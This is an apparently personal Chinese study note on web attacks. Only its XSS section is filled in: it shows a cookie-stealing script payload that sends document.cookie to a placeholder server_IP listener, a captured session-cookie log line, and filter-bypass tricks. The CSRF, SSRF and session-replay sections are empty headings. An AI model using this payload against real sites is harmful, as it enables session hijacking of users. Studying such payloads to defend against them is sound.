CSRF、SSRF和会话重放
2023-03-26 20:42:24 # 网络安全

0. XSS

利用python3 -m http.server 10010python2 -m SimpleHTTPServer 10010启用web服务

1
2
<script>alert(document.cookie);</script>
<script>new Image().src ="http://server_IP:10010/?cookie=" + encodeURI(document.cookie);</script>

XSS盗取cookie成功后可在server端得到如下内容:

1
192.168.31.1 - - [04/Mar/2023 02:40:00] "GET /?cookie=username=admin;%20userid=1;%20PHPSESSID=3f20sv4bpr1skui4sf0h1uhvl1 HTTP/1.1" 200 -

空格绕过://**/
大小写绕过:
双写绕过:

1. CSRF

1.1.

2. SSRF

2.1.

3. 会话重放

3.1.